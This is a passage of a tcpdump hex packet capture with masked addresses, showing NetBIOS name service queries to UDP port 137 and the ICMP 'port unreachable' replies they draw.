0x0020      8010 16a0 5896 0000 0101 080a 0080 bc82  ....X...........
0x0030      0087 fa28                                ...(
11:42:49.328518 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: . ack 211 win 5792 <nop,nop,timestamp 8436866 8911400> (DF)
0x0000      4500 0034 9e46 4000 4006 6b42 800a 097d  E..4.F@.@.kB...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0dad 6904 01c2  >.i....eo...i...
0x0020      8010 16a0 5896 0000 0101 080a 0080 bc82  ....X...........
0x0030      0087 fa28                                ...(
11:42:50.017018 XX.XX.XXX.164.32773 > XXX.XX.X.137.137: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST (DF)
0x0000      4500 004e fb9f 4000 2f11 1ec4 3e10 69a4  E..N..@./...>.i.
0x0010      800a 097d 8005 0089 003a 8e76 80f0 0010  ...}.....:.v....
0x0020      0001 0000 0000 0000 2043 4b41 4141 4141  .........CKAAAAA
0x0030      4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0x0040      4141 4141 4141 4141 4100 0021 0001       AAAAAAAAA..!..
11:42:50.019681 XXX.XX.X.137 > XX.XX.XXX.164: icmp: XXX.XX.X.137 udp port 137 unreachable [tos 0xc0]
0x0000      45c0 006a 321c 0000 ff01 577b 800a 097d  E..j2.....W{...}
0x0010      3e10 69a4 0303 2e84 0000 0000 4500 004e  >.i.........E..N
0x0020      fb9f 4000 2f11 1ec4 3e10 69a4 800a 097d  ..@./...>.i....}
0x0030      8005 0089 003a 8e76 80f0 0010 0001 0000  .....:.v........
0x0040      0000 0000 2043 4b41 4141 4141 4141 4141  .....CKAAAAAAAAA
0x0050      4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0x0060      4141 4141 4100 0021 0001                 AAAAA..!..
11:42:50.019692 XXX.XX.X.137 > XX.XX.XXX.164: icmp: XXX.XX.X.137 udp port 137 unreachable [tos 0xc0]
0x0000      45c0 006a 321c 0000 ff01 577b 800a 097d  E..j2.....W{...}
0x0010      3e10 69a4 0303 2e84 0000 0000 4500 004e  >.i.........E..N
0x0020      fb9f 4000 2f11 1ec4 3e10 69a4 800a 097d  ..@./...>.i....}
0x0030      8005 0089 003a 8e76 80f0 0010 0001 0000  .....:.v........
0x0040      0000 0000 2043 4b41 4141 4141 4141 4141  .....CKAAAAAAAAA
0x0050      4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0x0060      4141 4141 4100 0021 0001                 AAAAA..!..
11:42:50.734609 XX.XX.XXX.164.32773 > XXX.XX.X.137.137: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST (DF)
0x0000      4500 004e fd0f 4000 2f11 1d54 3e10 69a4  E..N..@./..T>.i.
0x0010      800a 097d 8005 0089 003a 8e76 80f0 0010  ...}.....:.v....
0x0020      0001 0000 0000 0000 2043 4b41 4141 4141  .........CKAAAAA
0x0030      4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0x0040      4141 4141 4141 4141 4100 0021 0001       AAAAAAAAA..!..
11:42:50.737361 XXX.XX.X.137 > XX.XX.XXX.164: icmp: XXX.XX.X.137 udp port 137 unreachable [tos 0xc0]
0x0000      45c0 006a 321d 0000 ff01 577a 800a 097d  E..j2.....Wz...}
0x0010      3e10 69a4 0303 2e84 0000 0000 4500 004e  >.i.........E..N
0x0020      fd0f 4000 2f11 1d54 3e10 69a4 800a 097d  ..@./..T>.i....}
0x0030      8005 0089 003a 8e76 80f0 0010 0001 0000  .....:.v........
0x0040      0000 0000 2043 4b41 4141 4141 4141 4141  .....CKAAAAAAAAA
0x0050      4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0x0060      4141 4141 4100 0021 0001                 AAAAA..!..
11:42:50.737374 XXX.XX.X.137 > XX.XX.XXX.164: icmp: XXX.XX.X.137 udp port 137 unreachable [tos 0xc0]
0x0000      45c0 006a 321d 0000 ff01 577a 800a 097d  E..j2.....Wz...}
0x0010      3e10 69a4 0303 2e84 0000 0000 4500 004e  >.i.........E..N
0x0020      fd0f 4000 2f11 1d54 3e10 69a4 800a 097d  ..@./..T>.i....}
0x0030      8005 0089 003a 8e76 80f0 0010 0001 0000  .....:.v........
0x0040      0000 0000 2043 4b41 4141 4141 4141 4141  .....CKAAAAAAAAA
0x0050      4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0x0060      4141 4141 4100 0021 0001                 AAAAA..!..